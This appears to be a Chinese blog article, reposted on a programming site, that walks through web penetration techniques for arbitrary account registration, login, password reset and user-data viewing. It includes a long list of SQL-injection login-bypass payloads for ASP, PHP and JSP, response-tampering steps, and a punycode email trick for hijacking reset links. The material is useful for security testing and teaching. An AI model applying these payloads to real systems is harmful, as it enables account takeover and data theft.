【web渗透思路】任意账号的注册、登录、重置、查看

news2024/10/6 18:34:20

目录

一、任意用户注册

1.未验证邮箱/手机号

2、不安全验证邮箱/手机号

3.批量注册

4.个人信息伪造

5.前端验证审核绕过

6.用户名覆盖

二、任意用户登录

1、万能密码

2、验证码、密码回显

3、登录检测不安全

三、任意账号重置

1、重置账号名

2、验证码

3、MVC数据对象自动绑定

4、Unicode字符处理

四、任意用户查看

1、cookie未鉴权

2、cookie鉴权

2、接口中参数


一、任意用户注册

1.未验证邮箱/手机号

情景:应用为了方便用户记录用户名,使用邮箱和手机号作为用户名(因此很多应用在注册的时候就要求用户填写,多数时候都会给用户发送激活信息,激活后才能登录)

缺陷:

1、未审核邮箱/手机号是否有效(及未发送验证信息),从而实现任意注册账号

2、未验证数据库中是否已经存在相同的用户名(导致同一账号,有2个密码,且用户数据产生读取问题)


2、不安全验证邮箱/手机号

用户注册邮箱/手机号提交后,会通过发验证码等方法对其真实性进行验证

缺陷:

1、返回的验证码:验证码信息会隐藏在返回包中,或hidden属性隐藏,或者是可以伪zao该信息,劫chi到验证信息

2、分布验证/多步填写等情况:第一步填写的时候验证完成以后,后面并未对账号进行再次验证,通过修改数据包中已验证的邮箱/手机

3、验证未绑定:使用自己邮箱/手机获取验证码后,在其他账号上使用


3.批量注册

(提示:危害不足)

通常由于无验证码或者验证码不安全,再对用户名进行爆破即可


4.个人信息伪造

(提示:有的行业会危害不足,防沉迷可能不一样)

需填写身份证等信息,可任意构造绕过身份证与姓名(一般网站危害不足)

如果是防沉迷系统存在此类问题(危害应该足了)


5.前端验证审核绕过

1、任意填写注册信息,服务器会对信息进行审核,并通过返回状态给前端判断(如检测是否存在恶意标签等,对返回的状态可修改绕过)

2、步骤

使用正常账号或合规操作执行,拦截返回信息(判断信息)

使用需要绕过检测的操作,并将服务器返回判断信息替换为正确时的


6.用户名覆盖

未对数据库中的账号进行核对是否已经存在

利用地方:注册账号、修改个人信息

二、任意用户登录

1、万能密码

对万能密码需要有一定的了解,并不是真的万能

有时候也得考虑

字符型 or 数值型

单引号 or 双引号

asp aspx万能密码

1:  "or "a"="a
2:  '.).or.('.a.'='.a 
3:  or 1=1--
4:  'or 1=1--
5:  a'or' 1=1--
6:  "or 1=1--
7:  'or.'a.'='a
8:  "or"="a'='a
9:  'or''='
10: 'or'='or'
11: admin'or 1=1#

PHP万能密码

admin'/*
密码*/'

'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
jsp 万能密码

1'or'1'='1
admin' or 1=1/*

2、验证码、密码回显

1、可以拦截到验证码(或者验证固定)

2、通过修改user_id,密码会返回在数据包中(至少是加密的)


3、登录检测不安全

1、如下传入参数后登录成功(具体参数可能需要代码审计,或通过已有账号抓包分析)

http://127.0.0.1/vlcms/index.php?s=/member/res_login/

POST:uid=60

2、再访问如下主页,判断是否真的登录成功

http://127.0.0.1/vlcms/index.php?s=/member/

三、任意账号重置

1、重置账号名

登录状态下,点击修改密码,用户名一般不可修改

1、如果可以通过修改前端的代码,让用户名变为可以修改的状态

2、或者在数据包传输过程中修改用户名

3、如果设置新密完全是由前端 js,基于应答状态码决定(即校验通过时服务端并未向客户端 set - cookie),那么可以修改状态码


2、验证码

1、验证码在返回包中回显

2、验证码未绑定、无效

3、验证码在本地进行验证


3、MVC数据对象自动绑定

邮箱重置密码/手机号码重置密码

如果请求中没有明显的身份标识,可增加参数值来测试是否存在MVC数据对应自动绑定漏洞(如增加email参数,并用自己邮箱作为参数值,看是否能收到密码重置链接)


4、Unicode字符处理

(一个大佬的方法)

1、情景:通过URL如/forget-password?email=发送邮件的方法重置密码

2、缺陷:输入邮箱xxxx@gmáil.com会被规范化为xxxx@gmail.com

3、原理:gmáil.com的punnycode是xn--gmil-6na.com,所以目标站点就会把xxxx@gmail.com用户的重置密码链接发送到邮箱xxxx@xn--gmil-6na.com中。并不需要注册gmáil.com域名,并搭建邮件服务器才能完成攻击,bp插件collabrator everwhere的collobrator client就可以实现

4、工具:bp提供了一个在公网能够访问到的域名burpcollaborator.net,并且在使用collabrator的时候会随机生成一个二级域名供我们使用,比如xxxxxx.burpcollaborator.net

5、验证漏洞:重置密码接口处输入含有Unicode字符的邮箱地址:xxxx@gmáil.com.xxxxxx.burpcollaborator.net,如果目标存在漏洞,就可以在collobrator client上看到目标站点发送给我们的xxxx@gmail.com用户的重置密码链接了

四、任意用户查看

1、cookie未鉴权

修改参数,如User _id等与账号一一对应的编号


2、cookie鉴权

钓yu等其他方法获取到其他用户cookie,替换cookie


2、接口中参数

情景:&parameters ={"User _Id":"加密后的值"}接口,返回了User _Id所对应用户的数据

利用:解密 加密值(一般不可能),所以需要在大量数据包中找到在前端带入后,服务器返回数据中被加密后的值(这就要一眼看出加密值的特点,不然就算在面前也……)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/30453.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2022年第三季度泛出行行业洞察:泛出行行业正在经历数智化升级的关键时期,用户规模保持平稳增长,行业整体良性发展

易观分析:泛出行行业涵盖综合车主服务、车辆加油充电、网约车、旅游预定、酒店预定、户外出行等领域。当前泛出行领域正在经历传统模式向数智化新模式的转变,智能化升级和服务品质提升在该领域变革中正发挥着积极的作用。未来泛出行领域将在数智化、电动…

Web3:价值投资的范式转移

​潜力博主推荐,点上面关注博主 ↑↑↑ 进化是宇宙中最强大的力量,是唯一永恒的东西,是一切的驱动力。———桥水基金 雷.达利奥 时间拉长,进化才是人类的主旋律。过去,环境的变化是进化的主因。 现在,技…

Servlet | 深度剖析转发和重定向

一:深度剖析转发和重定向 (1)在一个web应用中通过两种方式可以完成资源的跳转 第一种方式:转发方式 第二种方式:重定向方式 (2)转发和重定向的区别 区别一:代码上的区别 ①转发 &a…

阿里资深专家撰写出的 Nginx 底层与源码分析手册,GitHub 已爆赞

NGINX 发展史: 过去最主流的服务器是 1995 年发布的 Apache 1.0。Apache 源于 NCSAHTTPd 服务器,是一个多进程模型的 Web 服务器。但运行到后期,Apache 渐渐出现很多问题,比如内存占用很大、扩展需挂接第三方库、并发能力受限等。…

高效的股票数据接口工具有哪些?

我们已经知道了量化投资是是通过数量化方式及计算机程序化发出买卖指令,以获取稳定收益为目的的交易方式,而其中最重要的载体是数据。在金融领域中量化的应用让金融分析师、外汇交易员、产品研发员等技术人员又有了新的用武之地,转型成为量化…

【微信小程序】saveFile:fail tempFilePath file not exist

开发微信小程序尝试保存文件时,会提示saveFile:fail tempFilePath file not exist错误,是什么问题呢,接下来带你如何分析和解决问题 文章目录1. 定位问题2. 解决问题1. 定位问题 首先,看一下代码怎么写得,如下所示 w…

数据结构之线性表中的顺序表【详解】

前言 现在是北京时间11月24号0点2分,天气有一些冷,我现在很困,但是博客还没写,我很想睡觉,假如我现在放弃的码字,往床上一趟,其实也不怎么样,但是我们不能有拖延症,所以…

关于元宇宙的六七八你知道多少?

🏠个人主页:黑洞晓威 🧑个人简介:大家好,我是晓威,一名普普通通的大二在校生,希望在CSDN中与大家一起成长。🎁如果你也在正在学习Java,欢迎各位大佬来到我的博客查漏补缺…

【MySQL篇】第三篇——表的操作

创建表 创建表案例 查看表结构 修改表 删除表 创建表 在创建数据库之后,接下来就要在数据库中创建数据表了。所谓创建数据表,指的是在已经创建数据库中建立新表。 创建数据表的过程是规定数据列的属性的过程,同时也是实施数据完整性&am…

JAVA实训第二天

目录 JDK8新特性 Java8介绍 JAVA 8主要新特性 Java 8接口增强-默认方法 接口 接口的应用 Lambda表达式介绍 Lambda表达式的写法 功能性接口Lambda表达式的应用 函数接口 JDK8新特性 Java8介绍 •Java8是Java发布以来改动最大的一个版本,其中主要添加了函数式…

自定义数据类型——结构体

我们今天来简单介绍一下结构体。 目录 1. 结构体的声明 2. 结构体成员的访问 3. 结构体传参 首先我们要知道为什么会有结构体的存在,我们的生活里有很多东西,比如一只猫,一本书,一个人,我们如果要用程序来描述他们…

C语言 指针

C语言 指针引言1. 什么是指针2. 简单认识指针3. 取地址符 & 和解引用 * 符一、指针与内存二、指针类型的存在意义1. 指针变量的大小2. 指针移动3. 不同指针类型的解引用三、指针运算1. 指针加减整数程序清单1程序清单22. 指针 - 指针3. 指针关系运算四、二级指针五、野指针…

这个双11,我薅了华为云会议的羊毛

文章目录前言华为云会议悄然助力各行各业和其他云会议产品相比,华为云会议优势是什么?云端一体线下会议室和云会议互通专业会管与会控能力更安全华为云会议有哪些 AI 能力?华为云会议入门有多简单?下载步骤如下安装加入会议预约会…

原生js 之 (DOM操作)

Web API Web API是浏览器提供的一套操作浏览器功能和页面元素的API(BOM和DOM) JavaScipt由三部分构成 ECMAScript、DOM和BOM。 BOM浏览器对象模型,提供了与浏览器的交互方法和接口; DOM 文档对象模型,提供了处理网页内容、结构 、样式的方法…

【数据结构】图的遍历

深度优先遍历 深度优先遍历思想 对于图:选中一个结点,访问和其相邻的、未被访问过的点,全部访问完毕后回退到上一个结点,直至全部结点访问完毕,类似于图的先序遍历,如有邻接表,则按邻接矩阵的顺…

一文熟悉 Go 的基础语法和基本数据类型

一文熟悉 Go 的基础语法和基本数据类型前言Hello,World!有关 main 函数的一些要点关键字package声明引入基本数据类型整形数据类型有符号整数类型无符号整数类型其他整数类型浮点数据类型字符类型布尔类型字符串类型基本数据类型的默认值常量和变量声明结…

swift指针内存管理-指针类型使用

为什么说指针不安全 我们在创建一个对象的时候,是需要在堆上开辟内存空间的 但是这个内存空间的声明周期是有限的 也就意味着如果使用指针指向这块内存空间,当这块内存空间的生命周期结束(引用计数为0),那么当前的指针…

mac m1 配置goland debbug

大概率无法使用goland的debug功能,如果自己安装没选对路径,也无法使用。原因是: go env 配置不对,需要指向 ARM64; dlv版本不对,需要使用 arm64 系列; dlv路径不对,需要使用 macarm…

Linux服务器使用git clone命令时报错的解决方案

在往GitHub上上传项目时,使用git clone xxxxx.git时候报错: “gnutls_handshake() failed: the TLS connection was non-properly terminated” 由系统的 git 默认使用的 libcurl4-gnutls-dev 造成,可以使用openssl解决. 但是这个过程也很多…

2022亚太B题赛题分享

高速列车的优化设计 2022年4月12日,中国高铁复兴CR450多机组成功实现单列列车速度435 km/h,相对速度870 km/h,创造了高铁多机组列车穿越明线和隧道速度的世界纪录。新一代标准动车组“复兴”是中国自主研发的具有全知识产权的新一代高速列车。…